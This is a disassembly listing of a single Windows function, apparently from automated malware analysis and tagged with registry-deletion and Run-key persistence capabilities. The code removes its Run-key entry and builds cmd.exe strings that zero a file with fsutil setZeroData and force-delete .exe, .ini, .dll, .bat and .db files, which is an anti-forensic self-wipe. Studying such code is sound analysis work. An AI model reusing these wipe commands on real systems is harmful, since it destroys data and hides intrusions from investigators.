Function at 0x470110
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x574186
mov eax, dword fs:[0]
push eax
mov eax, 0x11e4
call fcn.0052fd80
mov eax, dword [0x5ebea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov bl, cl
mov edx, 0x5f2a08
mov dword [ebp - 0x11d8], 0
xor eax, eax
mov dword [ebp - 0x11d4], 7
mov word [ebp - 0x11e8], ax
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x470167
sub edx, ecx
lea ecx, [ebp - 0x11e8]
sar edx, 1
push edx
push 0x5f2a08
call fcn.0044a910
mov dword [ebp - 4], 0
xor eax, eax
mov dword [ebp - 0x11c0], 0
mov dword [ebp - 0x11bc], 7
mov word [ebp - 0x11d0], ax
mov byte [ebp - 4], 1
test bl, bl
je 0x470216
cmp dword [ebp - 0x11d4], 8
lea eax, [ebp - 0x11e8]
cmovae eax, dword [ebp - 0x11e8]
push eax
push 0x5f2e18
lea eax, [ebp - 0x9e8]
push str.ping_127.2__n_5__fsutil_file_setZeroData_offset0_length20000000___s___cd__d___s___Del__f__q__a_.exe_.bat
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x11d0]
push 0xf
push str.cmd.exe__d__c__
call fcn.0044a910
lea ecx, [ebp - 0x9e8]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x470200
lea eax, [ebp - 0x9e8]
jmp 0x470341
push 0x5f2e18
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.00552c06
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathW]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea eax, [ebp - 0x11ec]
push 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
test eax, eax
jne 0x470294
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0x11ec]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 0x11ec]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea eax, [ebp - 0x11ec]
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call ebx
test eax, eax
jne 0x4702d9
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0x11ec]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 0x11ec]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x5f2a08
call fcn.0046a1a0
cmp dword [ebp - 0x11d4], 8
lea eax, [ebp - 0x11e8]
cmovae eax, dword [ebp - 0x11e8]
push eax
push 0x5f2e18
lea eax, [ebp - 0x11b8]
push str.ping_127.2__n_5__fsutil_file_setZeroData_offset0_length20000000___s___cd__d___s___Del__f__q__a_.exe_.ini_.dll_.bat_.db
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x11d0]
push 0xf
push str.cmd.exe__d__c__
call fcn.0044a910
lea ecx, [ebp - 0x11b8]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x470330
lea eax, [ebp - 0x11b8]
sub ecx, edx
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x11d0]
call fcn.00451c60
push 1
push 0x5d9f40
lea ecx, [ebp - 0x11d0]
call fcn.00451c60
cmp dword [ebp - 0x11bc], 8
lea ecx, [ebp - 0x11d0]
push 0x2710
cmovae ecx, dword [ebp - 0x11d0]
xor edx, edx
push 0
call fcn.0046ec60
mov edx, dword [ebp - 0x11bc]
add esp, 8
cmp edx, 8
jb 0x4703c9
mov ecx, dword [ebp - 0x11d0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4703bf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x47043c
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov edx, dword [ebp - 0x11d4]
xor eax, eax
mov dword [ebp - 0x11c0], 0
mov dword [ebp - 0x11bc], 7
mov word [ebp - 0x11d0], ax
cmp edx, 8
jb 0x470422
mov ecx, dword [ebp - 0x11e8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x470418
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x470441
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0052f395
mov esp, ebp
pop ebp
ret
call fcn.0054b071
call fcn.0054b071
int3